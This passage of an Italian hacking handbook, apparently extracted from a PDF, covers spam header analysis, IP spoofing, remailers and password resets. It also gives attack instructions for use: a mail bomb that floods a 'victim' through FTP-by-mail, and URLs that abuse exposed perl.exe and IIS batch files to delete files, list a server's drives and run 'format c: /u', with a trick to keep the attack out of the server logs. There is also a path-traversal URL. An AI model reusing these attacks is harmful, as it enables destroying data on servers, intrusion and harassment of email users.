Il fatto che, tramite l'HELO, lo spammer abbia modo di inserire una stringa arbi-traria entro il Received, rende possibili certi offuscamenti di cui vedremo tra un attimo un esempio. A volte lo spammer passa come HELO un semplice indirizzo IP che non c'entra nulla. Altre volte, approfittando di buchi nei software dei mail server utilizzati, una stringa talmente lunga da impedire l'apparizione delle parti significative dei Received in questione (di fatto rendendo anonimo un server che, usato normalmente, non lo sarebbe).

Quando troviamo l'indirizzo IP, possiamo contare che sia giusto o potrebbe

essere falsificato pure quello?

Quanto al fatto che l'indirizzo IP riportato esplicitamente da un mailserver entro l'header 'Received:' possa essere errato, la risposta è NO, considerate semplice-mente che, se interpretando correttamente un Received ,si individua un indirizzo IP, quell'indirizzo era comunque sicuramente usato dallo spammer.

Page 103: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

103

Approfondimento

IP spoofing e spam

Per come funziona il protocollo IP, ogni host che trasmette dati in rete indica in ogni pacchetto, oltre all'indirizzo IP dell'host che intende raggiungere, anche il proprio. In teoria è quindi assolutamente possibile che, programmando opportu-namente i moduli TCP/IP del proprio software (moduli che generalmente sono inclusi nel sistema operativo), si possano spedire pacchetti con indirizzi o inesi-stenti o appartenenti ad altri computer che non c'entrano nulla. Questa pratica è detta IP spoofing e viene sovente utilizzata in rete per attacchi di tipo denial of service. Il problema per chi volesse utilizzare l'IP spoofing al fine di mandare email anonime è che, come si è visto, qualsiasi transazione SMTP richiede inte-razione tra i due computer coinvolti, interazione che deve avvenire nell'ambito di una connessione TCP ininterrotta. In altre parole, il computer che spedisce la mail deve essere in condizioni di ricevere i messaggi del server a cui si è connes-so e, a fronte di ogni messaggio ricevuto, inviare il successivo comando che il protocollo prevede a quel punto. Se ci si è presentati al server con un indirizzo falso, le risposte del server non potranno essere ricevute, in quanto andranno a finire o ad un computer realmente esistente chissà dove ma che non se le aspetta (e che le scarterà), o ad un indirizzo inesistente (andando così ad arricchire il co-sidetto "rumore di fondo" della rete globale).

Può quindi sembrare che, per chi tenta l'invio di email con indirizzo mittente spoofato, la situazione sia semplicemente analoga a quella di chi lavorasse su un computer a video spento: è difficile ma si può pensare di riuscire almeno a fare qualche semplice operazione. C'è però di più: il fatto di mantenere una sessione TCP ininterrotta richiede che tutti i segmenti TCP scambiati tra i due computer contengano ciascuno un numero di sequenza. Ognuno dei due computer invia al-l'altro degli ACK, ossia include nei propri segmenti il numero di sequenza che si aspetta di trovare nel prossimo segmento che riceverà dall'altro host. Se quindi uno dei due computer non è in grado di ricevere gli ACK dall'altro, non potrà ne-anche sapere qual è il numero di sequenza da usare nel prossimo segmento, e quindi non sarà in grado di mantenere la connessione valida.

Possiamo quindi escludere di trovare spam con IP spoofato? A stretto rigore di termini lo potremmo escludere. Vediamo però cosa può succedere.

Nell'estate 2001 è stato segnalato che certi spammer dispongono di hardware e software speciali per avvalersi di tecniche di spoofing. Per sintetizzare al massi-mo, diciamo che lo spammer utilizza un computer con due distinte interfaccie di

rete (per esempio, una scheda di rete e un modem). Questo gli consente di avere,

Page 104: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

104

sul medesimo computer, due indirizzi IP forniti da due provider diversi: chia-miamoli IP-1 e IP-2. Tramite IP-1, il software dello spammer entra in contatto con i server di mail che ha prescelto per veicolare la propria spazzatura, e in cia-scun pacchetto che invia a tali server mette l'altro indirizzo, IP-2, come indirizzo mittente. Pertanto ogni risposta del server di mail viene diretta a IP-2 e quindi, pur seguendo tutt'un'altra strada attraverso la rete, finisce col giungere allo stesso computer di partenza. Il software dello spammer resta quindi in grado di accede-re ai numeri di sequenza e quant'altro necessario per proseguire correttamente la sessione tramite IP-1. Il server di mail, dunque, vede soltanto IP-2, ed è quindi IP-2 che comparirà nei Received.

Se dunque in ogni caso un indirizzo IP usato dallo spammer resta individuabile e può pertanto essere segnalato all'abuse desk competente, qual è il vantaggio per lo spammer nell'usare questa tecnica? Semplicemente che IP-1, l'indirizzo che resta nascosto, usualmente corrisponde ad una connessione costosa e ad alta ca-pacità, una connessione che consente l'invio veloce di mailing di dimensioni e-normi e che sarebbe veramente seccante, per lo spammer, vedersi chiudere. Al contrario, IP-2 può essere una semplice connessione dial-up, poco costosa e che lo spammer può velocemente rimpiazzare non appena gli venisse chiusa. Un van-taggio quindi non eclatante ma che può essere in certi casi anche molto significa-tivo per lo spammer.

Cosa possiamo fare noi di fronte a questa situazione? Per la verità non molto: possiamo giusto far saltare allo spammer la connessione su IP-2. Che esista an-che l'altra connessione potremmo difficilmente venirlo a sapere, dato che dagli header effettivamente non risulta.

Può succedere che lo spammer, usando un proxy, riesca ad apparire su un

ip diverso da quello a cui si trova?

Può succedere ed è una pratica che, fin dal 2001, ha iniziato a diventare sempre più comune. Probabilmente ciò si deve all'arrivo di apposito software per spam-mer in grado di aprire sessioni SMTP attraverso proxy insicuri. Molti utenti della rete certamente hanno già sentito parlare di proxy: si tratta di un servizio che tutti o quasi i provider offrono ai propri clienti e che può essere usato, per esempio, per navigare il web senza presentare ai siti visitati il proprio vero indirizzo ip. In pratica, il proxy viene interposto e il sito visitato vede l'ip del proxy, senza poter conoscere dove sia realmente l'utente. Durante la navigazione, il proxy riceve le richieste dal browser dell'utente, le passa al server web su cui c'è il sito da visita-re e, avuta la risposta, la passa indietro al browser che la aveva richiesta.

Page 105: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

105

Possiamo a questo punto osservare che gli spammer fanno anche uso di veri e propri "cavalli di Troia" per diffondere il loro traffico. Un cavallo di Troia è, come noto, un programma malizioso che viene eseguito all'insaputa del legittimo utilizzatore del computer su cui, di solito con l'inganno, è stato impiantato. I tro-jan, nella maggior parte dei casi, prevedono di essere controllati remotamente, at-traverso la rete, da qualcuno che per loro tramite può guadagnare il completo controllo del computer vittima. Ecco allora che, nel 2003, si è iniziato a sentir parlare di trojan appositi per spammer, che gli spammer cercano di impiantare sulle macchine di utenti ignari. Questi trojan, una volta in funzione, contattano via email lo spammer per informarlo dell'indirizzo ip su cui sono attivi. A questo punto lo spammer si connette al trojan e lo utilizza come se fosse, ai fini pratici, un server di posta elettronica. Il risultato è che l'utente infettato, all'oscuro di quel che gli sta succedendo, diventa suo malgrado un punto di origine di spam, na-scondendo il vero indirizzo dello spammer (chi indaga sullo spam esaminando gli header, può giungere solo all'indirizzo dell'utente infettato).

A questo punto, che significa questa cosa dei proxy (e dei trojan) per chi investi-ga sullo spam?

Significa che, esaminando gli header come visto nelle pagine precedenti, può succedere che riusciamo a individuare solo una parte del percorso del messaggio di spam, quella avvenuta come posta elettronica vera e propria, attraverso transa-zioni SMTP. Se, al punto di immissione trovato, esiste un proxy aperto, le possi-bilità di scoprire il vero ip a cui si trovava lo spammer sono assai scarse. Sono del tutto nulle se si trattava di un trojan.

Il problema viene combattuto dagli antispammer mediante l'uso di blacklist ap-posite per i proxy insicuri.

Page 106: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

106

FONDAMENTI :FakeMail e messaggi anonimi anonimità

Quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce di voi ovun-que. Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si collega ad un server o si inviano dati vengono automaticamente trasmesse informazioni come: da quale server (e quindi da quale citta`) si sta chiamando, il nome ed il produttore del programma che si sta usando, quale sistema operativo e` installato sul vostro PC, il vostro IP address, qual'e`l'ultimo sito visitato, se, quando e quante volte ci si e` collegati ad un sito, e talvolta anche il proprio indirizzo di e-mail. cookie Molti siti utilizzano anche un comodo meccanismo di identificazione messo a di-sposizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad i-dentificarvi anche a distanza di tempo, e puo` rivelare loro la frequenza con cui visitate dei siti, IP address, ed altre informazioni che non vorreste dare. Il file in questione e` denominato "cookie". Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di "cookies.txt". Non e` altro che un semplice file di testo, come questo che state leggendo. Bastera` eliminarlo dopo ogni collegamento per eliminare le informa-zioni che esso puo` rivelare. Se utilizzate siti che richiedono accesso con password puo` darsi che il cookie contenga delle informazioni necessarie al vo-stro collegamento: in tal caso bastera` editare il file ed eliminare solo le righe che non contengono il nome del sito in questione.

Un Listserv Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP. Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima... Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, ar-rivati a "Subject:" scriviamo quanto segue: REPLY [email protected] CONNECT pluto.it anonymous [email protected] BINARY GET mieifiles/enorme.gz

Page 107: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

107

QUIT e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc. Ecco la spiegazione passo passo: REPLY indica l'indirizzo e-mail a cui rispondere CONNECT specifica il nome del provider a cui collegarsi e l'account da usare BINARY specifica un file di tipo binario (non va cambiato) GET specifica il nome del file da prelevare (completo di eventuali directory) QUIT termina la connessione Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara` molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario! E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,la vit-tima riceverebbe migliaia e migliaia di messaggi... E` un buon motivo per non dare in giro il proprio indirizzo di e-mail, no? EMAIL E IDENTIFICAZIONE

Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'autore, e come utilizzare i remailer anonimi per un'anonimita` di livello eleva-tissimo. Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leggerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la parola "Received:" e simili, che si trovano prima del corpo del messaggio vero e pro-prio). Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha u-n'opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli stessi. Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options", mentre con "Internet Explorer" e` necessario cliccare sul titolo dell'e-mail da analizzare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ovvero Proprieta`). Eudora ed altri client hanno una funzione simile a quella di Netscape Mail (nei menu`).

Page 108: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

108

Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers:

Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3) id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT) Received: from america.com ([123.45.67.89]) by posta.hackers.it (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187 for ; Mon, 27 Sep 1997 14:34:21 +0200 From: To: Subject: test... Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in quanto ogni header inizia con una parola chiave seguita dai due punti, e nel secondo rigo non esiste una prima parola, ne` i due punti; ne deduciamo percio` che e` il seguito della riga superiore. L'header "Received" ci informa del percorso seguito dall'e-mail da quando e` stato generato a quando l'abbiamo ricevuto. Normalmente ce n'e` piu` di uno e sono disposti in ordine inverso (il primo rappresenta l'ultimo computer in cui e` arrivata l'e-mail - con ogni probabilita` il nostro o quello del nostro provider - e l'ultimo Received rappresenta il computer "mittente"). Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in *cima* alle altre intestazioni gia` presenti. Tornando alla nostra e-mail, vediamo percio` che l'ultimo "Received" ci informa che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e-mail al server posta.hackers.it usando SMTP. Guardando l'header successivo (sopra) notiamo che poi il messaggio e` stato mandato a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a 111.123.33.4) a provider.it, che e` il server destinatario (il nostro). Infatti, se guardiamo l'header "To:" vediamo che destinatario finale e` [email protected]. Il mittente, stando all'header "From:", dovrebbe essere [email protected] ma come sincerarsene? Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su "america.com", ma utilizzando Finger non possiamo sapere se sia stato effettivamente lui a mandare il messaggio o meno. Ricorriamo percio` ancora una volta all'analisi degli header "Received". Il primo header, quello che ci informa da CHI e` stato inviato il messaggio, corrisponde all'ultimo header (cioe` al secondo "Received"). Da li` scopriamo che il computer mittente e` america.com con IP 123.45.67.89

Page 109: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

109

e dell'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'unico modo per sapere se effettivamente Host Name e IP Address coincidono e` utilizzare un programma DNS. Bastera` inserire l'IP Address per conoscere l'Host Name ad esso corrispondente. Questo metodo e` di estrema importanza, in quanto se da un lato non ci permette di scoprire l'autore, almeno potremo sapere quale computer e` stato usato per inviare e-mail, news, ecc. Molti provider di posta elettronica gratuita (come Hotmail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengono da un determinato "dominio" (es. provider.it), ma per farlo e` necessario conoscerne l'Host Name oppure l'IP Address. Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una anonima per rispondere a qualcuno senza essere rintracciati, o magari per partecipare a un Newsgroup in maniera del tutto anonima. Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta completamente anonima (senza mittente e senza alcuna traccia di IP Address o altro). Usarli nella loro forma piu` semplice (senza criptazione e senza re-routing multipli) e` facile, basta inviare una normalissima e-mail (con qualsiasi programma di posta elettronica) all'indirizzo e-mail di un remailer. Ad esempio, [email protected] (oppure [email protected] o anco-ra [email protected]) e, PRIMA del messaggio inserire una riga vuota, una coppia di due punti e altre informazioni, come segue: :: Request-Remailing-To: [email protected] Questa e` una prova.... Dunque l'indirizzo del destinatario NON va inserito come destinatario. Come destinatario useremo l'indirizzo del remailer, mentre quello del vero destinatario andra` scritto a fianco a "Request-Remailing-To". Questo e` quanto per le e-mail anonime. Come fare, invece, per inviare delle news anonime? Seguendo lo stesso procedimento, ma usando come destinatario un "gateway" (passaggio) mail-news. A cosa serve? Inviando un messaggio al gateway, questo lo inviera` a sua volta alle news. Volendo mandare un messaggio al Newsgroup alt.hackers bastera` sostituire i punti con dei trattini e aggiungere l'indirizzo del gateway (ad esempio

Page 110: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

110

cs.utexas.edu) quindi il risultato sara` [email protected] al quale manderemo il nostro messaggio tramite remailer. Aggiungiamo ora alcune informazioni per completare il capitolo. Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno molto veloce e` (al momento in cui si scrive) MailMan al seguente indirizzo: http://www.nettex.com/~thecap/ Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web. Per chi preferisse le Form ai programmi di posta elettronica bastera` cercare, come detto prima, dei remailer usando i motori di ricerca. Un indirizzo tra i piu` affidabili: http://www.replay.com/remailer/ NOTA: questi siti sono attivi non per arrecare danni, ma per fornire un servizio a quanti vogliono preservare la propria privacy elettronica. Abusandone potreste mettere voi nei guai, o causare la chiusura del servizio. Inoltre molti remailer possono negarvi l'accesso al servizio in caso di

proteste da parte di terzi. In altre parole, usate il cervello...

MAILBOX USA E GETTA Molto spesso la registrazione ad un sito richiede l’inserimento di una e-mail va-lida su cui ricevere il link di attivazione e, tra l’altro, molto spam. Per evitare questo problema, possiamo affidarci a un servizio internet che ci fornisce una e-mail usa e getta. Accedendo all’url http://10minutemail.com viene creata una casella pronta a ricevere posta per 10 minuti. Qualora non bastasse si può pro-lungare per altri 10 minuti.

Page 111: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

111

SICUREZZA SERVER WEB TECNICHE DI BASE: I WEB SERVER - PARTE 1

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Molti metodi usati in passato per hackerare un sito Web si basavano su dei problemi di sicurezza pre-esistenti causati dalla scarsa competenza dei Webmaster e dei SysAdmin. Ad esempio, un classico errore era lasciare programmi che hanno funzione di interpreti di comandi, come ad esempio il Perl (file perl.exe) accessibili a chiunque tramite Internet. Dal momento che tali programmi accettano parametri, se avessimo voluto cancellare l'intero contenuto di una directory avremmo potuto eseguire il comando di eliminazione semplicemente collegandoci all'URL (indirizzo Web). Nel nostro esempio, dal momento che il linguaggio in questione e` il Perl, il comando per eliminare la directory e` "unlink <*>" (senza gli apici). Per "dire" al Perl di eseguire un comando va usata l'opzione "-e". Il comando completo sara` quindi: perl.exe -e unlink <*> Ora supponiamo che il povero Webmaster :) abbia lasciato perl.exe nella directory cgi-bin (dove si trovano quasi tutti i programmi usati su un sito). Non dovremo fare altro che collegarci dal nostro browser a questo indirizzo: http://www.nomesito.com/cgi-bin/perl.exe?-e+unlink+%3C*%3E Ecco cosa stiamo facendo: http://www.nomesito.com/cgi-bin/perl.exe non e` altro che l'indirizzo del programma da eseguire; il punto interrogativo ci consente di passare dei comandi qualsiasi al programma ( gia` visto ricerche go-ogle); infine, come gia` detto prima, "-e" dice al Perl di eseguire il comando che segue.I segni + non sono altro che gli spazi. Poiche` negli URL non si usano spazi vanno usati i + al loro posto. Ora troviamo la parola unlink, un altro + (spazio) e poi %3C*%3E ...cos'e`? Se guardate piu` sopra, vedrete che il comando da eseguire era unlink <*> Non abbiamo fatto altro che sostituire < con il suo codice ASCII in notazione esadecimale (3C preceduto da % per indicare che e` un codice ASCII) e lo stesso abbiamo fatto per > mentre l'asterisco e` rimasto uguale. Esistono delle regole per "scrivere" un URL: caratteri come / e \ (detti slash e backslash), le parentesi e le virgolette, gli spazi e quasi tutta la punteggiatura in genere (ad esclusione di + - e pochi altri simboli) vanno *sempre* sostituiti con il relativo codice ASCII. Tutti gli altri caratteri possono rimanere invariati. Dunque quando dovremo scrivere uno dei simboli sopra descritti non bisognera` fare altro che cercarne il codice in esadecimale e scriverlo al suo posto, mettendo un simbolo di percentuale prima del codice.

Page 112: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

112

Tali codici sono detti di "escape". In modo analogo, un server Web come il Mi-crosoft IIS per Windows (versioni dalla 1.x alla 2.0b) oppure il server di Windows NT 3.x puo` essere "forzato" ad eseguire dei comandi arbitrari, come ad esempio: http://www.nomesito.com/cgi-bin/scrivimi.bat?&dir+c:\+%5Cs In questo caso scrivimi.bat e` un file batch (.bat). E` molto facile da scoprire se un server utilizzi tali file, in quanto basta dare u-n'occhiata alle pagine Web di un sito (e magari al loro listato) per scoprire se vi sono riferimenti ad essi.Ovviamente il trucco funziona solo con i server sopra e-lencati (per Windows)e con pochissimi altri. Inoltre le nuove versioni hanno corretto questo problema. Il "bug" (errore) in questo caso risiede nella gestione dei files batch.Come vediamo, aggiungendo ?& al nome del file e poi scrivendo i comandi da eseguire, il server credera` di stare eseguendo ancora il file batch e in realta` fara` ben altro... nel nostro caso, il comando codificato e` il seguente: dir c:\ /s (dove / e` stato sostituito con il suo codice, %5C). Avremo quindi come risultato di tale comando l'elenco completo di *tutte* le directory e i file presenti sul server (utile per sapere dove mettere le mani se cer-chiamo qualcosa in particolare o vogliamo modificare qualcosa). Quelle descritte non sono vere e proprie tecniche hacker: sono degli exploit per poter sfruttare i problemi di sicurezza conosciuti a nostro vantaggio.

TECNICHE DI BASE: I WEB SERVER - PARTE 2

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Come abbiamo visto, molti server Web per Windows (come Microsoft IIS oppu-re Windows NT server) possono essere utilizzati per eseguire comandi arbitrari utilizzando lo schema seguente: [URL].../nomescript.bat?&comando_1+comando_2+...+comando_N E` bene notare che i server Web registrano in uno o piu` file (detti "log") tutte le operazioni effettuate, e quindi nel caso utilizzassimo l'hack sopra descritto esso verrebbe senza dubbio registrato, insieme al nostro IP Address e ad altre infor-mazioni. Per evitarlo, possiamo fare due cose. Una possibilita` e` aggiungere alla fine del-l'URL contenente i nostri comandi, il comando "time" oppure "date", in questo modo: http://www.sito.com/cgi-bin/prova.bat?&echo+S+%7C+format+c%3A+%2Fu+time Procediamo ora con la spiegazione di questo URL. Il comando eseguito e`:

Page 113: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

113

echo S | format c: /u seguito dal comando "time", che vedremo dopo. Il comando "format c:" come sappiamo serve a formattare un disco, in questo caso l'hard disk "C", mentre "/u" indica a "format" di procedere con una formattazione incondizionata, cioe` senza salvare i dati presenti sul disco... ma "format", una volta eseguito, chiede all'utente di premere un tasto: S (si) oppure N (no), e non fara` nient'altro fino a che non avra` uno dei due input. Per ovviare all'inconveniente, non potendo noi digitare "S" sulla tastiera del computer che vogliamo hackerare, utilizziamo "echo S" seguito da "|". In pratica "|" (detto "pipe") serve ad inviare l'output del comando "echo" (il carattere "S") al comando successivo (format), simulando la pressione del tasto. Abbiamo cosi` risolto il problema. Una funzione non documentata del comando format e` l'opzione "/autotest". Tale opzione corrisponde in pratica alla riga di comando sopra descritta, e quindi potremo (solo nel caso di format) fare a meno di echo, pipe e "/u" scrivendo "format c: /autotest" (NON scrivetelo sul vostro computer). L'hard disk verra` formattato senza chiedere alcunche` all'utente. Ma ora torniamo al comando time (oppure date). Perche` l'abbiamo aggiunto? I server registrano le operazioni nei log solo DOPO che tali operazioni siano state effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e abbiamo ricevuto il contenuto della pagina ad esso associata. Per impedire al server di terminare l'operazione (e quindi di registrare l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date. Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time) all'utente. Ma dal momento che il server non sa rispondere ai comandi ;) la loro esecuzione non potra` essere completata, il log non verra` scritto e noi avremo ottenuto quello che volevamo... segretezza :) Vi ho detto pero` che esistono DUE modi. Ecco il secondo: esistono su Internet molti server proxy che garantiscono l’anonimato Tornando ai problemi di sicurezza... Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti alla fine di un file script, anziche` essere eseguito, il contenuto del file verra` visualizzato sullo schermo del vostro browser. Un altro bug simile permette di visualizzare file "segreti" (come pagine protette da password, documenti che non dovrebbero poter essere visualizzati in quanto "interni" e qualsiasi altro file presente sull'hard disk del server), in questo modo: http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file

Page 114: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

114

TABELLA CODICI ASCII

Page 115: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

115

RECUPERO PASSWORD

Trinity Rescue Kit. In pratica altro non è che una distribuzione Linux gratuita progettata esclusi-

vamente per le operazioni di ripristino su macchine Windows o Linux, basa-ta interamente su linea di comando, eccezion fatta per alcuni strumenti come qtparted, links, Partition Image e Midnight Commander. Potete bootare TRK seguendo 3 strade:

• Come CD di Boot che potete masterizzare dal file ISO scaricabile. • Da una periferica USB esterna

• Dalla rete tramite Preboot Execution Environment (PXE), modificando alcune impostazioni di rete.

Il metodo più semplice e sbrigativo è il primo, utilizzando un CD di boot che sa-rebbe sempre bene tenere a portata di mano. Vediamo come procedere: Una volta avviato il computer e inserito il cd sarete accolti dal messaggio “Welcome to Trinity” che indica che la procedura è andata a buon fine. A questo punto dovete utilizzare il comando winpass -l che vi mostrerà tutti gli username del sistema. Il comando winpass -u (seguito dal nome utente di cui si desidera resettare la password es: winpass -u mario) vi darà accesso ad una serie di opzioni, prima di procedere assicuratevi di aver premuto il tasto N alla richiesta di disattivazioni del Syskey

Adesso vi troverete di fronte 3 possibilità.

1. Rimuovere la password per l’utente selezionato 2. Impostare una nuova password 3. Rendere l’utente selezionato amministratore del sistema

Scegliete l’opzione che più vi aggrada per accedere nuovamente al vostro account Windows. Ricordate che avete sempre a che fare con una distribuzione Linux, quindi qua-lunque operazione vogliate effettuare prestate attenzioni ai nomi dei Drive, che non saranno come in Windows C, D, E etc ma HDA, HDB, HDC seguiti dal nu-mero della partizione. Ad esempio HDA1 indica la prima partizione del primo Hard Disk, che di solito è il percorso in cui è installato Windows, mentre HDC2 indica la seconda parti-zione sul terzo Hard Disk.

Page 116: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

116

Windows XP: come resettare le password con il disco d’installazione del si-

stema

1. Effettuare il boot dal disco d’installazione di XP; 2. Premere il tasto F8 per accettare le condizioni di utilizzo del sistema; 3. Scegliere l’opzione relativa al ripristino del sistema; 4. Premere il tasto R per avviare il processo di riparazione del sistema; 5. Attendere il riavvio del computer; 6. Al ritorno nella fase d’installazione di Windows XP, premere la com-

binazione di tasti Shift+F10 non appena viene visualizzata la scritta “Installazione dispositivi” nella parte bassa dello schermo;

7. Attendere che compaia il prompt dei comandi; 8. Digitare il comando nusmgr.cpl e premere il tasto Invio.

A questo punto, si aprirà il pannello di controllo degli account utente. Da quest’ultimo, potrete resettare le password di Windows XP nella maniera più semplice e veloce di questo mondo.

Windows 7 o Vista: come resettare le password con il disco d’installazione

del sistema

1. Effettuare il boot dal disco d’installazione ; 2. Proseguiamo nelle schermate come se dovessimo installare windows 3. Clicchiamo sulla voce ripristina il computer

4. Clicchiamo sull’opzione Prompt dei comandi e digitiamo Regedit in-vio

5. Selezioniamo HKEY_LOCAL_MACHINE

6. Andiamo in File e clicchiamo su Carica hive

7. Andiamo in C:\Windows\System32\config selezioniamo il file SYSTEM e apri

8. Diamo alla nuova chiave un nome qualsiasi (esempio reset) 9. Selezioniamo ora HKEY_LOCAL_MACHINE\reset\setup

10. Clicchiamo due volte sulla chiave SetupType e assegniamo 2 11. Clicchiamo due volte sulla chiave cmdLine e assegniamogli il valore

cmd.exe

12. Selezioniamo la chiave HKEY_LOCAL_MACHINE\reset\ andiamo nel menù File e clicchiamo su Scarica hive.

13. Torniamo alla finestra degli strumenti di recupero di windows e Riav-

via. 14. Al riavvio viene mostrato il Prompt dei comandi. Digitiamo net user

seguito dal nome utente e dalla password da impostare (es. net user

Giovanni pluto). Se il nome utente è composto da più parole va rac-chiuso tra “ “. Invio, digitiamo exit Invio

Page 117: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

117

Guida: Linux, come resettare le password Le cause che portano un qualsiasi utente a dimenticare la password, utile ad accedere al sistema operativo del proprio PC, possono essere molteplici: instal-lazione frettolosa del SO (associata magari all’inserimento di una password a casaccio), perdita di appunti ad essa relativi, vuoto di memoria, e tante altre. Il problema, ovviamente, non affligge solo gli utenti Windows, ma anche tutti quelli che prediligono altri sistemi, ad esempio Linux, per il quale esiste una procedura estremamente semplice che consente di resettare le password. Infatti, basta avviare la propria distro in modalità singolo utente, seguendo una delle procedure che trovate qui sotto, ed il gioco è fatto. Provare per credere!

Metodo 1:

1. Riavviare il computer; 2. Premere il tasto ESC mentre GRUB si carica; 3. Selezionare la voce recovery mode, per poi premere il tasto B della ta-

stiera ed accedere in modalità singolo utente.

Metodo 2:

1. Evidenziare l’opzione relativa al normale boot della distro Linux in uti-lizzo, per poi premere il tasto E della tastiera e modificarla;

2. Evidenziare la riga che inizia con kernel, per poi premere il tasto E del-la tastiera e modificarla;

3. Alla fine della riga, aggiungere il valore single; 4. Premere prima il tasto return della tastiera (per salvare le modifiche ef-

fettuate) e poi quello B (per effettuare il boot).

A questo punto, una volta entrati nel sistema, non occorrerà fare altro che sfrutta-re il comando passwd (oppure passwd nome utente, se la parola chiave persa non riguarda l’utente root) dal terminale e riavviare la macchina per salvare le modifiche effettuate. In fondo, resettare le password di Linux è un vero giochetto da ragazzi, non trovate? Come resettare o scoprire la password del BIOS A volte può essere necessario resettare la password del BIOS. Ad esempio, il primo che mi viene in mente, quando si vuole reinstallare Windows ed è neces-sario reimpostare le priorità di boot. Il metodo, secondo me, più semplice per re-settare questa password è quello di togliere il cavo che collega l’alimentatore

alla corrente e rimuovere per 30 minuti la batteria dalla scheda madre.

Page 118: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

118

Ma se non abbiamo la possibilità di accedere al hardware del computer esistono varie soluzioni software. Forse il tool più popolare per decriptare la password

